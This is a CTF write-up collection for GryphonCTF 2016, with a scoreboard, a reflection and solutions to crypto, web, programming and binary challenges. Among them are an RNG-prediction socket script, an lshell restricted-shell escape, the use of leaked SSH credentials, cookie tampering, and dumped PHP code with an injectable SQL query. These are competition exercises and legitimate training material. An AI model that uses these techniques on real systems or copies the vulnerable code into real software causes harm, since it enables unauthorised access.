CTF Writeups
This repository contains the cumulative sum of all CTF competitions I have personally joined either as part of a team or as a solo player. All codes/works by me are licensed under the AGPLv3 license. In a nutshell, it's okay to steal my code but give a little credit to me ^_^.
Participations
This are all the CTF competitions I have participated in chronological order. Ranks/Scoreboards are as accurate as I could get them.
GryphonCTF_2016_Write-up
Hello, this repository will serve as a write-up to the GryphonCTF competition challenges.
Completed Challenges
Challenges without links are uncompleted/unattempted challenges (Damn it amon) Challenges appended with a [*] are challenges completed after the competition. Doesn't count. Damnit.
- Pwn
- Aleph MinusOne_15
- lolc0ded_35
- EzPwn_15
- Drag-Race_45
- Black-Beauty_65
- Mystery-Jukebox_90
- Programming
- Crypto
- Poems_15
- Jack and the Beanstalk_20
- The Keymaker_30
- pr0 5k473r_10
- Cassandra_50
- Web
- Shark Web_10
- IWanTix_15
- Harambe_15
- God Of Gamble_20
- IWanTix2_30
- URL-Shorten_35
- Misc
- Forensics
- 3D Printing_10
- Its-So-Fluffy_10
- Zizi_15
- Mr Robot_35
- Bin
- Sanity
Reflection
As the competition comes to a close, with JEAM losing 1st place to TRiggeRed with almost 84 points in the lead, the final scoreboard looks like this.
1 - TRiggeRed - 675
2 - JEAM - 591
3 - Chicken Tandoori - 555
4 - Team Sailou - 420
5 - Luminous Cheesecake - 395
6 - Team Dig Bick - 315
7 - NUSGreyhatsNoobs - 310
8 - chmod 000 /dism/ctf - 250
9 - novaAF - 250
10 - Antimatter - 235
11 - 2CAP||!2CAP - 228
12 - jkdj - 190
13 - Pico - 180
14 - ShoulderSurfers - 150
15 - lowkeylosers - 130
16 - Counter Logic Hacking - 125
17 - TeamIronMan - 125
18 - Comeback - 100
19 - Team ScapeGoat - 65
If there's one thing I learned during the whole competition, I don't really know binary exploitation too well and I certainly hope to be able to improve on that before the next CTF comes around. From conversations with the challenge setter (@nnamon), I learned that while modern systems are not vulnerable, IoT products given limited processing capabilities and storage capacity, are much more vulnerable to binary exploitations, so that's something interesting.
I originally intended to join this competition as a solo player but because of team size requirements, I recruited @zst123 (Manzel) and two other people just to meet the team size of 4. Throughout the competition, I've also come to realize that having more minds equals to having more perspectives to take on challenges, especially challenges of a black box nature. @zst123 has helped a fair bit in giving his own perspective and that I appreciate greatly.
To sign off this reflection, I would like to add how salty I feel about team TRiggeRed utilizing hidden flags at the last minute. Very very salty.
P.S. @Deathline78 should be banned eternally from setting challenges.
Sincerely, Amos Ng @LFlare
GryphonCTF_2016: Bin 1
Category: Bin Points: 15 Description:
QR didn't do so well for his examination. So he went to his reflector and reflect on what he can do better. QR is very sad. ;_;
Write-up
Very simply, open up the given file, in a hex editor. Look for the GCTF flag.
Therefore, the flag is GCTF{pl5_53cur3_y0ur_d07_n37}
.
GryphonCTF_2016: Bin 2
Category: Bin Points: 25 Description:
It's easy. No hints for you this time round. :D Creator - Chen Qiurong (@pc84560895
Write-up
Firstly, strings bin2.exe
reveals a fake flag. GCTF{Not_So_Easy}
. Opening the EXE and entering the string SwegLord_1996
gives you the flag b1n4ry_15_50_51mple3
.
Therefore, the flag is GCTF{b1n4ry_15_50_51mple3}
.
GryphonCTF_2016: The Keymaker
Category: Crypto Points: 30 Description:
You've intercepted an encrypted flag that was being transmitted between two GCTF admins, along with a 256-bit RSA public key that was used in the encryption of the flag... Creator - Shawn Pang (@Optixal)
Write-up
DISCLAIMER: TOOLS WERE USED, CREDITS TO @Ganapati ON GITHUB
Okay, this around, we are given a ciphertext and a public key. It appears that the public key happens to be a short, 256-bit RSA key and thus we can search up ways to break RSA keys. As most people reading this should know, current standards of RSA keys are currently at 2048-4096 bits and bitsizes of below 2048 should never be used.
Since we have a 256-bit key, we can take advantage of a well-known exploit on the RSA algorithm known as the Wiener's attack. As of this writing, I'm no expert in cryptography but what I do have are skills in Google. Googling, to be exact, led me to a certain git repository. Simple enough, downloading it and running,
./RsaCtfTool.py --publickey ~/Downloads/pub_key.txt --uncipher ~/Downloads/flag_ciphertext
Clear text : GCTF{1f_0nly_17_w45_1n_1337}
Voila!~ Therefore, the flag is GCTF{1f_0nly_17_w45_1n_1337}
.
P.S On hindsight, I probably could've tried to make my own script knowing the algorithms, too lazy.
GryphonCTF_2016: Poems
Category: Cryptography Points: 15 Description:
This flag does not follow the GCTF{} format Hints: Look for patterns Creator - Darren Ang (@Southzxc)
Write-up
A pretty good challenge, this time around we are given a text file. Using an online tool like (quipqiup)[http://quipqiup.com/], run the crack process till you get something legible. In this case, after many attempts at making sense of the poem, you get a something that sounds strange like, if you don't get something like this, just continue matching the ciphertext with what you know are clues, like 'camaqagiax=cemeteries'
T there HareEcemeteries that are lonely, F grave sLfullAofG zones that do not make a sound, I the Sheart moving through a tunnel, HinO it W darkness, D darkness,Y darkness,_ like MaRshipwreck_ we die going into ourselves, TasH thoughOw eM were A drowningS inside_ our heart s,Eas D though I we S lived Of alling Nout of the skin into the soul.
Searching the phrase, we die going into ourselves
returns a poem. Looking further, you can then isolate the paragraph,
There are cemeteries that are lonely, graves full of bones that do not make a sound, the heart moving through a tunnel, in it darkness, darkness, darkness, like a shipwreck we die going into ourselves, as though we were drowning inside our hearts, as though we lived falling out of the skin into the soul.
Does this seem very similar to the poem we are given?
If we try using the tool again, but this time around giving it clues like, vonavy=lonely
the decoded message becomes clearer and clearer, until you are left with.
Tthere Hare Ecemeteries that are lonely, Fgraves Lfull Aof Gbones that do not make a sound, Ithe Sheart moving through a tunnel, Hin Oit Wdarkness, Ddarkness, Ydarkness, _like Ma Rshi~wreck _we die going into ourselves, Tas Hthough Owe Mwere Adrowning Sinside _our hearts, Eas Dthough Iwe Slived Ofalling Nout of the skin into the soul
Take the capital letters and you get,
THE FLAG IS HOWDY MR THOMAS_ EDISON
What did you know?
Therefore, the flag is GCTF{HOWDY_MR_THOMAS_EDISON}
GryphonCTF_2016: pr0_5k473r
Category: Crypto Points: 10 Description:
pr05k473r1337 is so cool! He grinded 5 railings in a row! Creator - Darren Ang (@Southzxc)
Write-up
We are given a text file. Inside it, we have Gp7nnCm7py0_3cTuym__7f3Fh_u57h_}{d43
. To get the flag, you need to take a look at the description and we know that it's 5 railings
. Immediately, think of the Railfence
cipher. We know it's 5 rows, thus we ge this.
Gp7nnCm7py0_3cTuym__7f3Fh_u57h_}{d43
G p 7 n n
C m 7 p y 0 _ 3 c
T u y m _ _ 7 f 3
F h _ u 5 7 h _ }
{ d 4 3
Therefore, the flag is GCTF{hump7y_dump7y_547_0n_7h3_f3nc3}
.
GryphonCTF_2016: Jack and the Beanstalk
Category: Cryptography Points: 20 Description:
Jack is giving away free magical beans! Play it here: nc play.spgame.site 9999 Creator - Kelvin Neo (@deathline75)
Hint:
Jack planted seeds already. Jack also owns 2 pythons
Write-up
DISCLAIMER: This write-up for this challenge is a painful one.
This time around, we are given a challenge where we have to guess the next number, consecutively for 10 times. Firstly, I tried running a bruteforce script to open and reopen connections to generate a list of numbers and what follows behind that number. This is similar to neural networking, in particular something called Markov Chain.
I then extended the chain to something around 7 integers long but it was not possible to get up to 10 times correct. So, that brings us back to square one. If the bruteforce method doesn't work, it means the numbers generated are completely random, or is it?
Looking back at the question hint, we see that 'Jack' has planted the seeds already. Additionally, Jack also owns 2 pythons. If we take it literally, we won't understand anything but since this challenge is under cryptography and that we are supposed to guess the next number, we can take it to heart that this is, in fact, a RNG.
Looking at the hint again, '2 pythons' could mean Python language and 'planted seeds' could mean that the RNG has been seeded already. Knowing that, we can devise a simple script to test it.
#! /usr/bin/env python
##
import socket
import re
import random
s = socket.socket()
s.connect(('play.spgame.site', 9999))
r = random.Random()
while True:
data = s.recv(4096)
if data != "":
print("RECV>>>" + data.strip())
if "number is" in data:
try:
number = int(re.findall('[0-9]+', data)[1])
except IndexError:
number = int(re.findall('[0-9]+', data)[0])
r.seed(number)
s.send(str(r.randint(1, 100)) + "\n")
Running the script gives us,
$ ./test.py
RECV>>>My numbers are always between 1 (inclusive) to 100 (inclusive)!
RECV>>>Guess my number 10 times and you get a prize!
My number is: 95
Guess my next number:
RECV>>>Well done!
RECV>>>My number is: 52
Guess my next number:
RECV>>>Oh no! That's not my number!
Running the script multiple times changes nothing, with the first number being an automatic success. So, what's going on? Well, after hours of constant testing different combinations like seeding the random number generator with the sum of the new number and the previous number, the new number with an exponent of the previous number and approximately 100 (slightly exaggerated) other combinations. That still yielded nothing.
So, new plan, this time around, I took the first number, seeded with ONLY the first number and just echo out the randint(1, 100).
#! /usr/bin/env python
##
import socket
import re
import random
s = socket.socket()
s.connect(('play.spgame.site', 9999))
r = random.Random()
seeded = False
while True:
data = s.recv(4096)
if data != "":
print("RECV>>>" + data.strip())
if "number is" in data:
try:
number = int(re.findall('[0-9]+', data)[1])
except IndexError:
number = int(re.findall('[0-9]+', data)[0])
if not seeded:
r.seed(number)
seeded = not seeded
response = str(r.randint(1, 100)) + "\n"
print(response)
s.send(response)
Amazingly, this happened.
$ ./test.py
RECV>>>My numbers are always between 1 (inclusive) to 100 (inclusive)!
RECV>>>Guess my number 10 times and you get a prize!
My number is: 3
Guess my next number:
24
RECV>>>Well done!
RECV>>>My number is: 55
Guess my next number:
55
RECV>>>Oh no! That's not my number!
Do you see it? My next number guess for number 2 also happens to be the 2nd number! Repeating the script returns the same thing,
RECV>>>My number is: 56
Guess my next number:
56
We might be on to something here. Now I try to make it the random number generator dump an integer off. As it appears, the number we get from the server is every alternate number, so we just have to dump one integer off to get the correct next guess.
if not seeded:
r.seed(number)
seeded = not seeded
response = str(r.randint(1, 100)) + "\n"
r.randint(1, 100)
print(response)
s.send(response)
Viola!
$ ./test.py
RECV>>>My numbers are always between 1 (inclusive) to 100 (inclusive)!
RECV>>>Guess my number 10 times and you get a prize!
My number is: 5
Guess my next number:
63
RECV>>>Well done!
RECV>>>My number is: 75
Guess my next number:
80
RECV>>>Well done!
RECV>>>My number is: 95
Guess my next number:
74
RECV>>>Well done!
RECV>>>My number is: 93
Guess my next number:
3
RECV>>>Well done!
RECV>>>My number is: 47
Guess my next number:
95
RECV>>>Well done!
RECV>>>My number is: 65
Guess my next number:
91
RECV>>>Well done!
RECV>>>My number is: 12
Guess my next number:
47
RECV>>>Well done!
RECV>>>My number is: 25
Guess my next number:
55
RECV>>>Well done!
RECV>>>My number is: 58
Guess my next number:
2
RECV>>>Well done!
RECV>>>My number is: 22
Guess my next number:
28
RECV>>>Well done!
RECV>>>This is my prize to you: GCTF{RNG_g@m3_700_str0nk}
Therefore, the flag is GCTF{RNG_g@m3_700_str0nk}
. Script to automatically and beautifully crack this challenge linked here.
GryphonCTF_2016: Shark Web
Category: Web Points: 10 Description:
One of our admins was testing his secret web page in the organisation's internal network. A very skilled hacker listened to his packets.. Can you sniff his credentials from it..? Play at http://play.spgame.site:9995 Creator - Chen Qiurong (@pc84560895)
Write-up
This time around, we get a PCAP file. We can use a tool like WireShark. Opening the file and opening packet #4, you notice two fields user
and pass
. Could they be the credentials?
Entering the username IwannaWatch
and password SumMovies
into the page at http://play.spgame.site:9995/
, you get a page with the flag.
Therefore, the flag is GCTF{3ncryp7_y0ur_c0nn3c710n}
.
GryphonCTF_2016: IWanTix2
Category: Web Points: 30 Description:
Get into the organiser's network and generate tickets so you can sell it at a very low price to our dear admin QR! Play at http://play.spgame.site:8002 Creator - Kelvin Neo (@deathline75) Creator - Chen Qiurong (@pc84560895)
Write-up
This time around, we are given a url that leads to a very snarky reply by the web server.
Didn't your parents tell you not to look at unauthorised pages?
Unless you are an administrator, then please login locally.
Opening up Developer's Console in Chrome reveals a delicious header.
Credentials:Look out for port 8001,user:webadmin,pass:webadmin
Connecting to port 8001 via browser, you get nothing! Or a weird OpenSSH version header anyways. So, we try to connect to it via shell.
$ ssh [email protected] -p 8001
[email protected]'s password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Oct 12 14:55:07 2016 from 103.26.223.115
You are in a limited shell.
Type '?' or 'help' to get the list of allowed commands
webadmin:~$
Viola! Well, now we are in a limited shell. What do we do now? Hmm...
webadmin:~$ ?
clear exit help history lpath lsudo
webadmin:~$
Upon further researching, it appears we are in a limited shell, or lshell, in short. Doing some research on CVEs, we find an exploit for lshell.
webadmin:~$ echo && 'bash'
webadmin@c8664621541c:~$
Woah there!
webadmin@c8664621541c:/var/www/html$ cat .htaccess
Header set Credentials "Look out for port 8001,user:webadmin,pass:webadmin"
ErrorDocument 403 /403.html
order deny,allow
deny from all
allow from 127.0.0.1 localhost
webadmin@c8664621541c:/var/www/html$ cat index.php
<html>
<body>
<p>
Welcome to the Eason Chan concert ticket generator
<br />
Submit the right secret key to get access to it!
</p>
<form action='login.php' method='post'>
Secret Key:<input type='password' name=secret_key>
<input type='submit' value='Enter'>
</body>
</html>
webadmin@c8664621541c:/var/www/html$ cat login.php
<?php
$servername = "db-iwantix2";
$username = "iwantix2";
$password = "iwantix22";
$dbname = "iwantix2";
$conn = new mysqli($servername, $username, $password,$dbname);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
# Get POST Request..
$secret_key = $_POST['secret_key'];
$sql = "SELECT * from secret_key where secretkey = '$secret_key'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
echo 'Nice! You can generate as many tickets as you want now!!<br />';
echo "Here's your flag! You're most welcome.<br />";
echo "GCTF{7unn3l_4nd_1nj3c7}";
}
} else {
echo "Hahahahaha! No! You cannot generate ticket!";
}
?>
Epic motherload right there.
Therefore, the flag is GCTF{7unn3l_4nd_1nj3c7}
.
EDIT: This was actually a bug and team JEAM was awarded 3 points for the discovery and report of this bug. What misers the organizers are.
EDIT2: This was supposd to be solved via ssh [email protected] -p 8001 -L 1337:localhost:8002
, accessing localhost:1337
and injecting SQLi code. Well, I think my method was abit more epic.
GryphonCTF_2016: HARAMBE
Category: Web Points: 15 Description:
Harambe is love. Harambe is life http://play.spgame.site:9998 Creator - Kelvin Neo (@deathline75)
Write-up
A simple challenge this one, we just have to view the source to figure out the logic.
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (empty($_POST["name"])) {
echo '<script>alert("name variable is empty!")</script>';
} elseif (empty($_POST["comment"])) {
echo '<script>alert("comment variable is empty!")</script>';
} else {
echo 'Well done, here is your flag: ';
}
}
?>
So we need to just POST comment
and name
variables into index.php
.
<div class="guestform">
<h3>Leave your petition here</h3>
Well done, here is your flag: GCTF{c0mm3n75_4r3_73rr1bl3_pl4c3h0ld3r5} <h4>Someone keeps posting stupid comments, so the form is disabled for now.</h4>
<div>
<div class="full-comment">
<div class="name">
Therefore, the flag is GCTF{c0mm3n75_4r3_73rr1bl3_pl4c3h0ld3r5}
GryphonCTF_2016: God of Gamble
Category: Web Points: 20 Description:
Hey, wanna try to win the god of gamble? Try harder!!! Try it on http://play.spgame.site:9996/ Creator - Chen Qiurong (@pc84560895)
Write-up
Credits to @zst123 [Manzel Seet] for writing the script.
Basically, spam till you get flag. It's that simple, I swear.
GryphonCTF_2016: IWanTix
Category: Web Points: 15 Description:
One of our admin really wants to watch Eason Chan's concert, but the organiser will only release their sales after 7th of November 2016. Can you help him to get the concert ticket in advance? Please..? ;_; Play at http://play.spgame.site:9994 Creator - Chen Qiurong (@pc84560895)
Write-up
Loading the site brings you a HTML 1.0 designed site. Horrible. Bringing up [Inspect Tools] in Google Chrome shows you that the server sends back the cookie currentTime=1475866712
. That is unix timestamp in a nutshell, use a unix timestamp converter and get the timestamp for 8 Nov 2016, which is 1480464000
.
Afterwards, open up console and run, document.cookie = "currentTime=1480464000"
. Following that, refresh the page. Now the page changes and you get the first half of the cookie. To get the second half, open up [Inspect Element] and deleted the disabled
attribute on the button.
Clicking the button brings you to the other half of the cookie.
Therefore, the flag is GCTF{cl13n751d3_v4l1d4710n_5uckz}
.
GryphonCTF_2016: Hide and Seek
Category: Programming Points: 30 Description:
Welcome to Hide and Seek. Hiders code to hide, seekers seek to capture the flag. Are you a hider or a seeker? (https://youtu.be/B4pWdmaCO0Q?list=RDB4pWdmaCO0Q) ~ if you're up for some Nerve vibes ~ Creator - Shawn Pang (@Optixal)
Write-up
We are given an image.
Holy shit. Did you see that? Is that...
You cannot be serious. No you cannot be.
Well, thankfully, I am not. This is a programming question after all! We know two things, firstly, we have a shit ton of QR codes and that we cannot possibly scan them all. So, we take advantage of our l33t skills and do a few things.
Firstly, we want to separate out the QR codes and crop out all the spam. You can use anything to do this, Photoshop or Preview.
Nice, then we need to think, if each QR code is 33x33
and that we have a size of 330x2145
. So we have an approximate 650
QR codes to actually manually scan but since we are l33t people, we do not. We can take advantage of libraries like Pillow and zbarlight.
After coding a script, and running it,
$ ./script.py
QR: GCTF{w3_h4v3_f0und_y0u_!}
Therefore, the flag is GCTF{w3_h4v3_f0und_y0u_!}
.
Full script found here.
GryphonCTF_2016: The Forest
Category: Programming Points: 50 Description:
It is time to test your 1337 skills of doing assembly in your head. You get ten seconds to evaluate the given x86-64 code listing and give us the value of the register that has been randomly chosen from those modified. Assembly! Again, and again, and again, and again, and again...
Write-up
As the challenge description goes, we need to evaluate the given x84-64 assembly code and return the value of the register randomly selected. For 200 times. If you tried doing this in your head, I applaud you, simply because,
==== 200/200 ====
xor rdx, rsi
add edx, edx
xor eax, 0xb8f4e2
mov rbx, 0x18781004fdca0ede
mov ebx, edx
mov rcx, 0x47a64db738b73d65
lea esi, [rbx+rax]
mov edx, esi
and rbx, rbx
xor rsi, rdx
lea rsi, [rbx+rax]
add edi, 0x490e8d
sub edi, 0xd09331
and ecx, 0xd3d93b
and ecx, 0x7b3147
push rdx
xor eax, 0x7b8d46
add edx, 0x2112c5
mov eax, esi
xor edx, edx
mov esi, 0xe28e5d23fea53496
lea ecx, [eax+0x23c005]
add rcx, 0x59accd
and rbx, rdi
add rcx, rcx
mov rsi, rcx
xor ecx, edx
push rdx
sub ecx, 0xccd275
mov edi, 0xb83649e57125aff
pop rax
mov edi, ebx
and rsi, rdi
and ebx, esi
push rcx
lea rax, [edx+eax]
and ebx, 0xdf99a5
mov rcx, rcx
add eax, 0x3a227
xor ebx, 0x539bd9
pop rdi
lea rcx, [edx+0xfff539]
lea ecx, [rdx+0x29fa14]
pop rbx
inc rsi
lea edx, [edi+0x690cd7]
lea rsi, [rsi+0xe89a6b]
mov rbx, rax
mov edi, eax
push rcx
push rsi
lea esi, [edx+edx]
sub esi, 0xeb3ff9
pop rax
add rdx, rax
add rbx, 0xcabc14
add edi, ebx
add rsi, 0x5e5c5d
inc rsi
sub rdx, 0xb333f8
lea rax, [rsi+rbx]
lea rax, [ecx+ebx]
push rcx
xor eax, 0xd860e1
xor ecx, 0xeca0a8
add rcx, 0x53772d
lea rdx, [rcx+rsi]
lea rsi, [rdi+rdx]
sub ecx, esi
lea rsi, [edi+ecx]
and rsi, rdi
mov esi, eax
and rcx, 0xe52d8
add rax, rdx
lea ecx, [ecx+eax]
xor rcx, 0xad1fc6
push rdx
lea rdi, [edx+ebx]
and edx, edx
add esi, edi
and edx, 0xfaa4c7
lea rsi, [rdi+0xa38903]
inc rdi
and rcx, 0x5cce3
sub edx, ebx
mov ebx, edi
lea rsi, [rsi+rbx]
mov ecx, edx
inc rdx
lea esi, [rbx+0xdf259f]
add rax, rdx
lea rsi, [ebx+0x1a6f]
lea rsi, [rdi+0x7b4c0b]
and rax, rsi
inc rdi
lea rbx, [rdx+0x1ae3f4]
lea rsi, [rdx+rdi]
sub esi, 0x56dbb8
add rsi, 0x9d35e5
add eax, edx
add edi, esi
pop rbx
add ebx, 0xf18bf5
sub edi, 0x823ae2
mov edx, ebx
add edi, ecx
xor rsi, 0x3707c7
inc esi
and eax, ecx
sub rbx, 0xfc8030
xor esi, eax
and rbx, 0xfa3cf4
mov eax, ebx
push rcx
xor edx, 0x75c2c
add rdx, rdi
add edi, 0x8f1f83
push rsi
add rdi, rdx
pop rcx
add eax, ebx
and rcx, rcx
and esi, 0x9c3d6f
and ecx, 0xaf5149
lea rdx, [ebx+0xa8150c]
xor edx, 0xba2a9d
mov rbx, 0x9308aa2cd80fcd13
inc ecx
push rcx
push rdx
and eax, 0xd4ed
lea ecx, [ebx+edx]
sub edi, edi
lea rdi, [rdx+0x719b4e]
lea edi, [edi+edx]
lea ebx, [rdi+rax]
sub rdi, rcx
mov rdi, rbx
xor rdi, 0xdf8561
and rbx, rdi
add esi, ecx
xor ecx, 0xd54069
mov edx, 0x59560b73babacdab
xor rdx, rdi
sub edi, edx
mov rsi, rbx
xor edi, edi
sub rbx, rdi
and ebx, 0x87f93b
pop rdi
xor eax, 0x7ffef7
xor esi, 0x84ffec
pop rdx
mov edx, edi
add rsi, rdi
inc rcx
pop rcx
add esi, 0x67ce21
add rdx, 0xd999e
and edi, 0xefb0ec
xor esi, edx
add eax, edi
push rdi
mov esi, ebx
xor rdx, rax
pop rbx
push rdi
xor rax, 0x55ead2
inc rax
xor esi, 0xcb46f
push rdi
push rax
lea rbx, [rbx+0xc2917d]
and rdi, 0x50f7c4
push rdx
add eax, 0xd14be4
push rdi
add eax, esi
mov ecx, esi
xor rax, rax
mov esi, ebx
pop rax
and esi, 0x64983e
lea edx, [rsi+rdi]
xor rcx, 0x5ea9f4
xor rax, 0x3a6f39
mov edx, edx
lea edx, [esi+0x537f04]
sub rbx, rdx
inc rbx
inc rdi
xor rbx, rsi
inc rdx
xor ecx, edx
lea eax, [ecx+0x7a6a18]
xor rsi, 0x7f2c11
lea rax, [rsi+0xfa1c3a]
xor ebx, 0x72141
xor rbx, rdi
and ebx, eax
lea edi, [rcx+rbx]
inc rax
xor ebx, ecx
xor rax, 0xc99bf8
rdi:
was the length of the 200th iteration.
To solve this, you need to understand how to compile machine code, specifically, x86-64 code. You could try writing your own language interpreter for ASM, or you could just script nasm
and ld
into your code.
Firstly, make a template.
asm_header = """global start
section .data
section .text
start:
"""
asm_footer = """
je exit
exit:
mov eax, 01h ; exit()
xor ebx, ebx ; errno
int 80h"""
Then, connect to the server and obtain JUST the ASM part. Contanectate the asm_header
, the asm_code
and the asm_footer
, write it to a file, preferably with an extension .asm
and call commands like
$ nasm -f elf64 code.asm
$ ld code.o
This compiles code.asm
to code.o
and then compiles code.o
to a.out
. Following that, you can now try running lldb
as a debugger.
$ lldb a.out
Setting a breakpoint at the exit function, allows you to view the register before it exits.
(lldb) b exit
Breakpoint 1: where = a.out`exit, address = 0x000000000040039e
Try running and you get,
(lldb) run
Process 12213 launched: '/root/forest/a.out' (x86_64)
Process 12213 stopped
* thread #1: tid = 12213, 0x000000000040039e a.out`exit, name = 'a.out', stop reason = breakpoint 1.1
frame #0: 0x000000000040039e a.out`exit
a.out`exit:
-> 0x40039e: movl $0x1, %eax
0x4003a3: xorl %ebx, %ebx
0x4003a5: int $-0x80
0x4003a7: addb %ch, (%rsi)
Now, dump the register by running, register read
.
(lldb) register read
General Purpose Registers:
rax = 0x0000000001f0438c
rbx = 0x0000000000ef22b4
rcx = 0x0000000000c632a6
rdx = 0x0000000000940f2d
rdi = 0x0000000000ef42b8
rsi = 0x00000000003fbc39
rbp = 0x0000000000000000
rsp = 0x00007ffc5e9603b0
r8 = 0x0000000000000000
r9 = 0x0000000000000000
r10 = 0x0000000000000000
r11 = 0x0000000000000000
r12 = 0x0000000000000000
r13 = 0x0000000000000000
r14 = 0x0000000000000000
r15 = 0x0000000000000000
rip = 0x000000000040039e a.out`exit
rflags = 0x0000000000000202
cs = 0x0000000000000033
fs = 0x0000000000000000
gs = 0x0000000000000000
ss = 0x000000000000002b
ds = 0x0000000000000000
es = 0x0000000000000000
See how it's all nicely laid out for us? We can shorten the lldb command to just simply
$ lldb -o 'b exit' -o run -o 'register read' -o 'script import os; os._exit(1)' a.out
Current executable set to 'a.out' (x86_64).
Breakpoint 1: where = a.out`exit, address = 0x000000000040039e
(lldb) Process 12586 launched: '/root/forest/a.out' (x86_64)
General Purpose Registers:
rax = 0x0000000001f0438c
rbx = 0x0000000000ef22b4
rcx = 0x0000000000c632a6
rdx = 0x0000000000940f2d
rdi = 0x0000000000ef42b8
rsi = 0x00000000003fbc39
rbp = 0x0000000000000000
rsp = 0x00007ffe6a1829a0
r8 = 0x0000000000000000
r9 = 0x0000000000000000
r10 = 0x0000000000000000
r11 = 0x0000000000000000
r12 = 0x0000000000000000
r13 = 0x0000000000000000
r14 = 0x0000000000000000
r15 = 0x0000000000000000
rip = 0x000000000040039e a.out`exit
rflags = 0x0000000000000202
cs = 0x0000000000000033
fs = 0x0000000000000000
gs = 0x0000000000000000
ss = 0x000000000000002b
ds = 0x0000000000000000
es = 0x0000000000000000
Now, we can all script it together in a python script. You can choose to run a regex through the output of lldb
to get pairs of register and hex value. You realize that there is no eax
and similar registers, because they are 32bit registers. You can generate their values by running 0xFFFFFFFF
AND operation before storing it in the 32 bit 'register'.
However, somewhere along the lines of 80+ tries, it stops working.
ld: warning: cannot find entry symbol _start; defaulting to 0000000000400080
Traceback (most recent call last):
File "./script.py", line 87, in <module>
question = get_question(data)
File "./script.py", line 34, in get_question
return re.findall('(?:\n)([a-z]{3})(?:\:)', data)[0]
IndexError: list index out of range
This is caused by server-side sock buffer and thus you can solve it via,
data = ""
while ':' not in data:
data += s.recv(4096)
to ensure that as long as the question is not asked, keep receiving data.
You can view the full script I used here.
Therefore, the flag is, GCTF{cau53_b0y5_d0nt_cry}
.
GryphonCTF_2016: Pokemon Gryphon
Category: Programming Points: 35 Description:
Our brand new take on Pokemon Go! Can you catch them all? Don't get caught spoofing though! nc play.spgame.site 8000 to start playing! Commands: catch - when a Pokemon appears near you spoof x,y - e.g. spoof 56,-35 to spoof GPS co-ords to x=56, y=-35 (integers only) Creator - Shawn Pang (@Optixal)
Write-up
Credits to @zst123 [Manzel Seet] for writing the original script. (I rewrote it nicer though)
So in this time around, you have to script the site. You can't be caught spoofing though! Furthermore, YOU MUST CATCH THEM ALL! script
GryphonCTF_2016: Anomaly
Category: Programming Points: 25 Description:
I have made this file by using SHA-512 512 times on every number from 1 to 1000000. The first round uses the string format of the number while subsequent rounds uses the hex digest of previous rounds. However there are some anomalies in the file when Qiurong ran the same program. Can you find out the anomaly for me? Alternative (faster) download link WARNING: 123MB file Creator - Kelvin Neo (@deathline75)
Write-up
A WONDERFUL CHALLENGE BY @DEATHLINE75 /s.
We have a file, about 1000000 lines long and it's big and thus I won't be giving a download link. First up, we generate our own file to check back with the given file.
import hashlib
hashes = []
for i in range(1000000):
hash = str(i)
for iters in range(512):
hash = hashlib.sha512(hash).hexdigest()
with open('hashes.txt', 'w') as file:
for line in hashes:
file.write(line + '\n')
Comparing the two files, we get,
===
51078
======
79e14f7e16192678e4f202aaac5d0ec8d90f28a4ebe467588f175abdc601678d6544f977c81eba9d1c4a95c34fda85752b19098b827f2bbc876db1553617ca96 != 79e14f7e16192678e4f202aaac5d0ec8d90f28a4ebe467588f175abdc601678d6544f977c81eba9d1c4a95c34fda85752b19098b827f2bbc876db1553617ca4f
===
53477
======
cd86dd387a943bb25b2fd81ba88ec1f9cdbcbfc3ab3d9ecd1c762a55920bb3f3a3a783b86c20708d8cbc357968dc7f2680f3d9f6de140a86de22806d5848c7f4 != cd86dd387a943bb25b2fd81ba88ec1f9cdbcbfc3ab3d9ecd1c762a55920bb3f3a3a783b86c20708d8cbc357968dc7f2680f3d9f6de140a86de22806d5848c837
===
165716
======
82e98cd1d1f9a0e33b8a0442f6f33a32e15f18a716f81307c1dee6bc854f42dc0e83cfdd83be2ebcc5bca8b97d02762d04160948e030e259b545c0e11a66711a != 82e98cd1d1f9a0e33b8a0442f6f33a32e15f18a716f81307c1dee6bc854f42dc0e83cfdd83be2ebcc5bca8b97d02762d04160948e030e259b545c0e11a6670c6
===
244162
======
86f5a78aa20de48dabadb5868386e01fdd793292217e77fd8f8de2e3863b9d3f811fe8b6c5d85446355f187d3ef7774595a382ce163699826c0d2e8008ca9251 != 86f5a78aa20de48dabadb5868386e01fdd793292217e77fd8f8de2e3863b9d3f811fe8b6c5d85446355f187d3ef7774595a382ce163699826c0d2e8008ca920b
===
256030
======
7dab38088e97401ab1ee3d6389c49047eb23b10895f78299487d3fedbc54ca3cb127910c111c06082addb396f5957c0c9038d725a76999048a2d62620eb8ee4e != 7dab38088e97401ab1ee3d6389c49047eb23b10895f78299487d3fedbc54ca3cb127910c111c06082addb396f5957c0c9038d725a76999048a2d62620eb8edd3
===
259971
======
2d3d1644ac279cfe75a36cfb2ea53c16622fbec3716884df120f1bc9aafd47c48e3f9aee16e32512057bf656cf40d5a6392b9efa82a6fc21beb859c09a853a9a != 2d3d1644ac279cfe75a36cfb2ea53c16622fbec3716884df120f1bc9aafd47c48e3f9aee16e32512057bf656cf40d5a6392b9efa82a6fc21beb859c09a853acf
===
339025
======
dcd2acaa313c861acb7c4d3128df2b8035c3a3124d9f9554cb95d88686fa20dffa6379e7e04dcece28d0c21f0907af8cc4792f6b259d9cf5a6ab74792b8d9c7d != dcd2acaa313c861acb7c4d3128df2b8035c3a3124d9f9554cb95d88686fa20dffa6379e7e04dcece28d0c21f0907af8cc4792f6b259d9cf5a6ab74792b8d9ce5
===
423605
======
b15d73389d194feea6eb4a27e52f52cd7b86033746d0f0c27c2c8a50a593b94c101a49073e4fc6313f52298719ce2236f40739140d713eafb20eddfb42ba3dae != b15d73389d194feea6eb4a27e52f52cd7b86033746d0f0c27c2c8a50a593b94c101a49073e4fc6313f52298719ce2236f40739140d713eafb20eddfb42ba3de2
===
434116
======
